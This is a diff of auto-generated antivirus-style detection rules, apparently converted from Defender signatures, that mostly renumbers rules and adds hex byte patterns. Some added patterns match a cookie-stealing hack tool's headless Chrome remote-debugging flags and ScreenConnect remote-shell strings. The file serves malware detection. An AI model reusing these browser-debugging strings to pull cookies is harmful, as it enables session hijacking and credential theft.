81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 69 6e 64 66 6c 79 74 6e 69 6e 67 65 6e 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 47 75 72 75 65 72 73 5c 6f 75 74 65 71 75 69 76 6f 63 61 74 65 01 } //0 - $a_01_16 = {5c 64 61 61 72 65 6b 69 73 74 65 6c 65 6d 6d 65 74 73 5c 75 6e 67 69 76 61 62 6c 65 2e 69 6e 69 01 00 27 81 01 53 6f 66 74 77 61 72 65 5c 6f 76 65 72 73 6b 75 64 73 70 72 6f 64 75 6b 74 69 6f 6e 5c 62 65 6d 61 6e 64 65 64 65 73 01 00 21 81 01 25 62 72 75 67 73 72 69 67 74 69 67 73 74 65 73 25 5c 70 61 72 65 73 5c 70 6f 6c 79 70 2e 48 61 63 01 00 1e 81 01 5c 70 65 72 73 6f 6e 62 69 6c } //8192 - $a_66_17 = {65 6d 73 74 61 6d 6d 65 6e 64 65 2e 68 6f 75 01 00 20 81 01 53 6f 66 74 77 61 72 65 5c 66 6f 72 76 61 6c 74 6e 69 6e 67 73 72 65 66 6f 72 6d 65 72 6e 65 73 01 00 29 81 01 53 6f 66 74 77 61 72 65 5c 47 74 65 73 6b 61 62 73 61 6e 6e 6f 6e 63 65 72 6e 65 33 37 5c 6d 69 6c 69 65 } //28261 - $a_6e_18 = {74 01 00 1c 81 01 53 6f 66 74 77 61 72 65 5c 61 63 68 69 6e 65 73 65 5c 74 69 6d 62 65 72 79 61 72 64 01 00 1a 81 01 25 63 68 69 6b 61 6e 65 72 65 73 25 5c 70 65 6e 64 61 6e 74 65 72 2e 55 6e 61 01 00 14 81 01 25 6b 72 6f 6d 65 74 73 25 5c 74 79 67 67 65 74 2e 72 75 64 00 00 78 be 01 00 0c 00 0c 00 0e 00 21 23 42 4d 5f 41 54 3a 53 63 72 65 } //30325 - $a_6f_19 = {6e 65 63 74 00 0a 00 0d 80 01 73 63 72 65 65 6e 63 6f 6e 6e 65 63 74 02 00 14 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 53 65 72 76 65 72 02 00 23 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e } //28261 - $a_64_20 = {77 73 42 61 63 6b 73 74 61 67 65 53 68 65 6c 6c 02 00 1b 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 43 6c 69 65 6e 74 53 65 72 76 69 63 65 02 00 23 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 43 6c 69 65 6e 74 49 6e 73 74 61 6c 6c 65 72 52 75 6e 6e 65 72 02 00 15 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 53 65 72 } //26967 - $a_65_21 = {00 14 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 43 6c 69 65 6e 74 02 00 1b 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 57 69 6e 64 6f 77 73 53 65 72 76 65 72 02 00 1e 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 57 69 6e 64 6f 77 73 49 6e 73 74 61 6c 6c 65 72 02 00 16 81 01 53 63 72 } //26998 + $a_be_15 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 54 69 6e 79 53 6e 6f 6f 70 65 72 2e 42 21 64 68 61 00 01 00 de 01 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 3d 00 7b 00 30 00 7d 00 20 00 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 } //0 + $a_00_17 = {6f 00 77 00 2d 00 6f 00 72 00 69 00 67 00 69 00 6e 00 73 00 3d 00 2a 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 20 00 2d 00 2d 00 75 00 73 00 65 00 72 00 2d 00 64 00 61 00 74 00 61 00 2d 00 64 00 69 00 72 00 3d 00 22 00 7b 00 31 00 7d 00 22 00 20 00 2d 00 2d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 } //108 ow-origins=* --headless --user-data-dir="{1}" --profil + $a_00_18 = {64 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3d 00 22 00 7b 00 32 00 7d 00 22 00 01 00 44 01 46 00 61 00 69 00 6c 00 65 00 64 } //101 + $a_00_20 = {65 00 78 00 74 00 72 00 61 00 63 00 74 00 20 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 2e 00 } //111 extract cookies. + $a_00_21 = {78 00 69 00 74 00 2e 00 2e 00 2e 00 01 00 32 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 3a 00 7b 00 30 00 7d 00 2f 00 6a 00 73 00 6f 00 6e 00 01 00 2c } //32 condition: - ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*27137+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_be_15 & 1)*0+(#a_01_16 & 1)*8192+(#a_66_17 & 1)*28261+(#a_6e_18 & 1)*30325+(#a_6f_19 & 1)*28261+(#a_64_20 & 1)*26967+(#a_65_21 & 1)*26998) >=1 + ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*27137+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_be_15 & 1)*0+(#a_00_17 & 1)*108+(#a_00_18 & 1)*101+(#a_00_20 & 1)*111+(#a_00_21 & 1)*32) >=1 } -rule _InfrastructureShared_19323{ +rule _InfrastructureShared_20526{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 54 69 6e 79 53 6e 6f 6f 70 65 72 2e 42 21 64 68 61 00 01 00 de 01 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 } //16675 + $a_00_1 = {74 00 3d 00 7b 00 30 00 7d 00 20 00 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 61 00 6c 00 6c 00 6f 00 77 00 2d 00 6f 00 72 00 69 00 67 00 69 00 6e 00 73 00 3d 00 2a 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 20 00 2d 00 2d 00 75 00 73 00 65 00 72 00 2d 00 64 00 61 00 74 00 61 00 2d 00 64 00 69 00 72 00 } //111 t={0} --remote-allow-origins=* --headless --user-data-dir + $a_00_2 = {7b 00 31 00 7d 00 22 00 20 00 2d 00 2d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 2d 00 64 00 69 00 } //61 {1}" --profile-di + $a_00_3 = {63 00 74 00 6f 00 72 00 79 00 3d 00 22 00 7b 00 32 00 7d 00 22 00 01 00 44 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 65 00 78 00 74 00 72 00 61 00 63 00 74 00 20 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 2e 00 20 00 45 00 78 00 69 00 74 00 2e 00 2e 00 2e 00 01 00 32 01 68 00 74 } //114 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*61+(#a_00_3 & 1)*114) >=4 + +} +rule _InfrastructureShared_20527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -238412,7 +253341,7 @@ rule _InfrastructureShared_19323{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*23660+(#a_6b_2 & 1)*29285+(#a_69_3 & 1)*29804+(#a_64_4 & 1)*25968+(#a_81_5 & 1)*2+(#a_81_6 & 1)*2+(#a_81_7 & 1)*2+(#a_81_8 & 1)*2+(#a_81_9 & 1)*2) >=10 } -rule _InfrastructureShared_19324{ +rule _InfrastructureShared_20528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0e 00 21 " @@ -238433,7 +253362,7 @@ rule _InfrastructureShared_19324{ ((#a_5f_0 & 1)*16931+(#a_6e_1 & 1)*22318+(#a_53_2 & 1)*29795+(#a_57_3 & 1)*29795+(#a_81_4 & 1)*2+(#a_81_5 & 1)*2+(#a_81_6 & 1)*2+(#a_81_7 & 1)*2+(#a_80_8 & 1)*2+(#a_bf_9 & 1)*0+(#a_00_10 & 1)*99+(#a_2d_12 & 1)*2305) >=12 } -rule _InfrastructureShared_19325{ +rule _InfrastructureShared_20529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -238444,7 +253373,7 @@ rule _InfrastructureShared_19325{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111) >=1 } -rule _InfrastructureShared_19326{ +rule _InfrastructureShared_20530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -238465,7 +253394,7 @@ rule _InfrastructureShared_19326{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*28499+(#a_6d_3 & 1)*28486+(#a_6e_4 & 1)*29298+(#a_44_5 & 1)*27753+(#a_63_6 & 1)*13874+(#a_64_7 & 1)*26740+(#a_6f_8 & 1)*385+(#a_46_9 & 1)*28530+(#a_65_10 & 1)*11891+(#a_6c_11 & 1)*21295+(#a_00_12 & 1)*10384) >=13 } -rule _InfrastructureShared_19327{ +rule _InfrastructureShared_20531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -238487,7 +253416,7 @@ rule _InfrastructureShared_19327{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*25398+(#a_00_2 & 1)*25711+(#a_6f_3 & 1)*385+(#a_6e_4 & 1)*19813+(#a_72_5 & 1)*11887+(#a_66_6 & 1)*25601+(#a_00_7 & 1)*602+(#a_00_8 & 1)*112+(#a_00_10 & 1)*46+(#a_00_12 & 1)*47+(#a_6f_13 & 1)*1025+(#a_90_14 & 1)*1692) >=15 } -rule _InfrastructureShared_19328{ +rule _InfrastructureShared_20532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -238500,7 +253429,7 @@ rule _InfrastructureShared_19328{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28718+(#a_00_3 & 1)*97+(#a_00_4 & 1)*46) >=1 } -rule _InfrastructureShared_19329{ +rule _InfrastructureShared_20533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -238511,7 +253440,7 @@ rule _InfrastructureShared_19329{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*1025) >=2 } -rule _InfrastructureShared_19330{ +rule _InfrastructureShared_20534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -238526,7 +253455,7 @@ rule _InfrastructureShared_19330{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=3 } -rule _InfrastructureShared_19331{ +rule _InfrastructureShared_20535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -238541,7 +253470,7 @@ rule _InfrastructureShared_19331{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28615+(#a_2d_2 & 1)*23085+(#a_2d_3 & 1)*23085+(#a_00_4 & 1)*31277+(#a_39_5 & 1)*12297) >=7 } -rule _InfrastructureShared_19332{ +rule _InfrastructureShared_20536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -238559,7 +253488,7 @@ rule _InfrastructureShared_19332{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*17995+(#a_65_2 & 1)*29541+(#a_75_3 & 1)*29541+(#a_37_4 & 1)*13357+(#a_00_5 & 1)*117+(#a_00_6 & 1)*46+(#a_00_8 & 1)*46+(#a_00_9 & 1)*111) >=10 } -rule _InfrastructureShared_19333{ +rule _InfrastructureShared_20537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -238578,7 +253507,7 @@ rule _InfrastructureShared_19333{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*52+(#a_00_3 & 1)*117+(#a_4b_5 & 1)*6144+(#a_00_7 & 1)*111+(#a_00_9 & 1)*46+(#a_01_10 & 1)*5+(#a_01_11 & 1)*3+(#a_01_12 & 1)*3+(#a_01_13 & 1)*3) >=14 } -rule _InfrastructureShared_19334{ +rule _InfrastructureShared_20538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 09 00 21 " @@ -238594,7 +253523,7 @@ rule _InfrastructureShared_19334{ ((#a_46_0 & 1)*16675+(#a_41_2 & 1)*13312+(#a_00_4 & 1)*109+(#a_00_5 & 1)*98+(#a_00_6 & 1)*109+(#a_69_7 & 1)*29812+(#a_02_8 & 1)*-15765) >=23 } -rule _InfrastructureShared_19335{ +rule _InfrastructureShared_20539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -238607,7 +253536,7 @@ rule _InfrastructureShared_19335{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*656+(#a_00_2 & 1)*-28488+(#a_01_3 & 1)*-28478) >=1 } -rule _InfrastructureShared_19336{ +rule _InfrastructureShared_20540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 14 00 21 " @@ -238635,7 +253564,7 @@ rule _InfrastructureShared_19336{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*4608+(#a_6c_2 & 1)*24948+(#a_70_3 & 1)*29819+(#a_67_4 & 1)*28257+(#a_61_5 & 1)*24909+(#a_00_7 & 1)*116+(#a_00_8 & 1)*105+(#a_30_9 & 1)*300+(#a_2c_10 & 1)*2+(#a_09_11 & 1)*11408+(#a_2d_12 & 1)*14637+(#a_39_13 & 1)*19796+(#a_47_14 & 1)*28517+(#a_39_15 & 1)*9217+(#a_66_16 & 1)*14129+(#a_72_17 & 1)*28531+(#a_01_18 & 1)*30720+(#a_2e_19 & 1)*28784) >=1 } -rule _InfrastructureShared_19337{ +rule _InfrastructureShared_20541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -238646,7 +253575,7 @@ rule _InfrastructureShared_19337{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111) >=4 } -rule _InfrastructureShared_19338{ +rule _InfrastructureShared_20542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -238663,7 +253592,7 @@ rule _InfrastructureShared_19338{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24903+(#a_38_2 & 1)*14644+(#a_61_3 & 1)*24434+(#a_2b_5 & 1)*5642+(#a_02_6 & 1)*-28561+(#a_07_7 & 1)*3338+(#a_9c_8 & 1)*0) >=8 } -rule _InfrastructureShared_19339{ +rule _InfrastructureShared_20543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -238682,7 +253611,7 @@ rule _InfrastructureShared_19339{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*27503+(#a_73_2 & 1)*25458+(#a_6f_3 & 1)*25938+(#a_01_4 & 1)*25971+(#a_00_5 & 1)*116+(#a_2e_6 & 1)*25975+(#a_00_8 & 1)*101+(#a_01_9 & 1)*5888+(#a_00_11 & 1)*101) >=10 } -rule _InfrastructureShared_19340{ +rule _InfrastructureShared_20544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,22 00 21 00 0a 00 21 " @@ -238699,7 +253628,7 @@ rule _InfrastructureShared_19340{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*104+(#a_74_2 & 1)*12658+(#a_00_3 & 1)*1538+(#a_00_4 & 1)*92+(#a_72_5 & 1)*25972+(#a_01_6 & 1)*25971+(#a_00_8 & 1)*97) >=33 } -rule _InfrastructureShared_19341{ +rule _InfrastructureShared_20545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -238713,7 +253642,7 @@ rule _InfrastructureShared_19341{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111+(#a_00_3 & 1)*71+(#a_00_4 & 1)*101+(#a_4c_5 & 1)*8993) >=1 } -rule _InfrastructureShared_19342{ +rule _InfrastructureShared_20546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -238726,7 +253655,7 @@ rule _InfrastructureShared_19342{ ((#a_46_0 & 1)*21283+(#a_01_2 & 1)*9348+(#a_2e_3 & 1)*400+(#a_24_4 & 1)*-14833) >=2 } -rule _InfrastructureShared_19343{ +rule _InfrastructureShared_20547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0d 00 21 " @@ -238744,7 +253673,7 @@ rule _InfrastructureShared_19343{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*9217+(#a_28_2 & 1)*25441+(#a_53_4 & 1)*9729+(#a_41_5 & 1)*29801+(#a_65_6 & 1)*29984+(#a_00_7 & 1)*54+(#a_00_9 & 1)*45+(#a_00_11 & 1)*92) >=2 } -rule _InfrastructureShared_19344{ +rule _InfrastructureShared_20548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -238759,7 +253688,7 @@ rule _InfrastructureShared_19344{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*57+(#a_00_3 & 1)*55+(#a_00_4 & 1)*68+(#a_00_6 & 1)*115+(#a_90_7 & 1)*25712) >=8 } -rule _InfrastructureShared_19345{ +rule _InfrastructureShared_20549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -238772,7 +253701,7 @@ rule _InfrastructureShared_19345{ ((#a_46_0 & 1)*16675+(#a_ea_1 & 1)*-6807+(#a_90_2 & 1)*-5395+(#a_98_3 & 1)*3168) >=1 } -rule _InfrastructureShared_19346{ +rule _InfrastructureShared_20550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0f 00 21 " @@ -238795,7 +253724,7 @@ rule _InfrastructureShared_19346{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28274+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*0+(#a_3a_13 & 1)*17748+(#a_65_14 & 1)*24947) >=20 } -rule _InfrastructureShared_19347{ +rule _InfrastructureShared_20551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 17 00 21 " @@ -238822,7 +253751,7 @@ rule _InfrastructureShared_19347{ ((#a_4c_0 & 1)*21539+(#a_63_2 & 1)*384+(#a_6f_3 & 1)*27507+(#a_6c_4 & 1)*29539+(#a_64_5 & 1)*29555+(#a_5f_6 & 1)*25971+(#a_00_8 & 1)*118+(#a_00_10 & 1)*97+(#a_6e_11 & 1)*8293+(#a_2f_12 & 1)*12851+(#a_2e_13 & 1)*23653+(#a_61_14 & 1)*822+(#a_90_15 & 1)*11617+(#a_00_16 & 1)*144+(#a_00_18 & 1)*118+(#a_38_19 & 1)*29551+(#a_72_21 & 1)*17153+(#a_73_22 & 1)*28274) >=55 } -rule _InfrastructureShared_19348{ +rule _InfrastructureShared_20552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -238835,7 +253764,7 @@ rule _InfrastructureShared_19348{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*9760+(#a_01_2 & 1)*-28615+(#a_2d_3 & 1)*23085) >=2 } -rule _InfrastructureShared_19349{ +rule _InfrastructureShared_20553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -238849,7 +253778,7 @@ rule _InfrastructureShared_19349{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26478+(#a_30_2 & 1)*11585+(#a_72_3 & 1)*27760+(#a_00_5 & 1)*116) >=6 } -rule _InfrastructureShared_19350{ +rule _InfrastructureShared_20554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -238866,7 +253795,7 @@ rule _InfrastructureShared_19350{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24947+(#a_64_2 & 1)*26994+(#a_61_3 & 1)*25441+(#a_72_4 & 1)*27502+(#a_00_5 & 1)*882+(#a_00_6 & 1)*32+(#a_00_7 & 1)*100) >=8 } -rule _InfrastructureShared_19351{ +rule _InfrastructureShared_20555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -238877,7 +253806,7 @@ rule _InfrastructureShared_19351{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=1 } -rule _InfrastructureShared_19352{ +rule _InfrastructureShared_20556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -238890,7 +253819,7 @@ rule _InfrastructureShared_19352{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*-13261+(#a_00_2 & 1)*-15521+(#a_72_3 & 1)*27718) >=1 } -rule _InfrastructureShared_19353{ +rule _InfrastructureShared_20557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -238902,7 +253831,7 @@ rule _InfrastructureShared_19353{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_3 & 1)*110) >=4 } -rule _InfrastructureShared_19354{ +rule _InfrastructureShared_20558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -238914,7 +253843,7 @@ rule _InfrastructureShared_19354{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*82+(#a_01_3 & 1)*-28672) >=4 } -rule _InfrastructureShared_19355{ +rule _InfrastructureShared_20559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -238934,7 +253863,7 @@ rule _InfrastructureShared_19355{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28521+(#a_43_2 & 1)*13863+(#a_6f_3 & 1)*385+(#a_74_4 & 1)*29541+(#a_4d_5 & 1)*8736+(#a_51_6 & 1)*25192+(#a_65_7 & 1)*25449+(#a_61_8 & 1)*19532+(#a_00_9 & 1)*20+(#a_6c_10 & 1)*25940) >=11 } -rule _InfrastructureShared_19356{ +rule _InfrastructureShared_20560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 08 00 21 " @@ -238950,7 +253879,7 @@ rule _InfrastructureShared_19356{ ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*20083+(#a_59_2 & 1)*22085+(#a_73_3 & 1)*28793+(#a_63_4 & 1)*29264+(#a_5f_6 & 1)*25959+(#a_62_7 & 1)*21249) >=20 } -rule _InfrastructureShared_19357{ +rule _InfrastructureShared_20561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -238979,7 +253908,7 @@ rule _InfrastructureShared_19357{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*16991+(#a_6e_2 & 1)*29300+(#a_74_3 & 1)*13366+(#a_46_4 & 1)*13381+(#a_00_5 & 1)*13891+(#a_00_6 & 1)*-1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1) >=20 } -rule _InfrastructureShared_19358{ +rule _InfrastructureShared_20562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,7d 00 7d 00 2c 00 21 " @@ -239028,7 +253957,7 @@ rule _InfrastructureShared_19358{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*-5887+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_c6_40 & 1)*0+(#a_00_42 & 1)*115+(#a_00_43 & 1)*115) >=125 } -rule _InfrastructureShared_19359{ +rule _InfrastructureShared_20563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -239039,7 +253968,7 @@ rule _InfrastructureShared_19359{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116) >=1 } -rule _InfrastructureShared_19360{ +rule _InfrastructureShared_20564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -239055,7 +253984,7 @@ rule _InfrastructureShared_19360{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*26369+(#a_78_3 & 1)*16726+(#a_32_4 & 1)*12911+(#a_61_5 & 1)*30794+(#a_78_6 & 1)*25711+(#a_33_7 & 1)*12336) >=8 } -rule _InfrastructureShared_19361{ +rule _InfrastructureShared_20565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -239082,7 +254011,7 @@ rule _InfrastructureShared_19361{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*9252+(#a_6f_3 & 1)*385+(#a_67_4 & 1)*24932+(#a_44_5 & 1)*28737+(#a_69_6 & 1)*24944+(#a_00_7 & 1)*45+(#a_00_9 & 1)*100+(#a_00_10 & 1)*112+(#a_6c_11 & 1)*18223+(#a_6f_12 & 1)*28493+(#a_74_13 & 1)*9473+(#a_6e_14 & 1)*22364+(#a_6f_15 & 1)*30023+(#a_00_16 & 1)*26990+(#a_53_17 & 1)*385+(#a_65_18 & 1)*25454+(#a_00_19 & 1)*24946) >=20 } -rule _InfrastructureShared_19362{ +rule _InfrastructureShared_20566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -239098,7 +254027,7 @@ rule _InfrastructureShared_19362{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*19744+(#a_00_3 & 1)*116+(#a_00_4 & 1)*48+(#a_00_5 & 1)*114+(#a_6e_6 & 1)*22330+(#a_72_7 & 1)*26957) >=5 } -rule _InfrastructureShared_19363{ +rule _InfrastructureShared_20567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -239117,7 +254046,7 @@ rule _InfrastructureShared_19363{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25956+(#a_77_2 & 1)*26223+(#a_73_3 & 1)*28015+(#a_73_4 & 